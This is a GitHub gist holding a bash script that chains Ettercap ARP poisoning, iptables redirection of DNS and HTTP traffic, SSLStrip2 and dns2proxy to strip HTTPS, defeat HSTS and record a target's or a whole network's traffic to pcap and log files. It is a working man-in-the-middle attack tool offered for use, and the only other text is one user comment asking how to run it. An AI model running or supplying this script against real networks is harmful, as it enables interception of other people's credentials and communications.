Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
MitM combined with SSLStrip2 defeating HSTS
#!/bin/bash
#
# @desc: MitM (Ettercap) & SSLStrip2 & dns2proxy
#
# Tool runs if sslstrip2 & dns2proxy have subfolders from
# where the script is run
#
# @required:
#
# - SSLStrip2 (https://github.com/LeonardoNve/sslstrip2)
# - DNS2Proxy (https://github.com/LeonardoNve/dns2proxy)
# - Ettercap-NG (http://ettercap.sourceforge.net/)
#
# @name:
#
# mitmsslstrip2.sh
#
# @author:
#
# Alexander 'xaitax' Hagenah <ah@primepage.de>
# http://primepage.de
#
# @created:
#
# 09/12/2014
if [[ "$1" == "k" ]]; then
echo "Killing processes..."
ps -ef | grep tcpdump | awk '{print $2}' | xargs kill
ps -ef | grep sslstrip | awk '{print $2}' | xargs kill
ps -ef | grep dns2proxy | awk '{print $2}' | xargs kill
ps -ef | grep ettercap | awk '{print $2}' | xargs kill
exit
fi
printf "Define the interface (e.g. eth0): " && read INTERFACE
printf "Define the IP of the Gateway (leave empty for whole network): " && read GATEWAY
printf "Define the IP of the Target (leave empty for whole network): " && read TARGET
# Variable for date/time
now=$(date +%Y%m%d_%H%M%S)
# Enable Linux Kernel Packet forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Flush existing iptables
iptables -F
iptables -F -t nat
# Traffic redirection for dns2proxy & sslstrip2
iptables --table nat --append PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
iptables --table nat --append PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
# Start MitM with Ettercap
ettercap -T -i $INTERFACE -w log/network.pcap -L ettercap -M arp /$GATEWAY/ /$TARGET/ -P autoadd -Q &
# Start local network capture with tcpdump
tcpdump -i $INTERFACE -w log/network_$now.pcap & PID_TCPDUMP=$!
# Start sslstrip
./sslstrip2/sslstrip.py -p -w log/sslstrip_$now.log -k -l 9000 & PID_SSLSTRIP=$!
# Start dns2proxy
cd ./dns2proxy/ && python ./dns2proxy.py & PID_DNS2PROXY=$!
@rawmatroid

This comment has been minimized.

Copy link

@rawmatroid rawmatroid commented Dec 11, 2014

Hii!

How I have run this? I was using etterfilter but this giveme a syntax error in the line 27

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment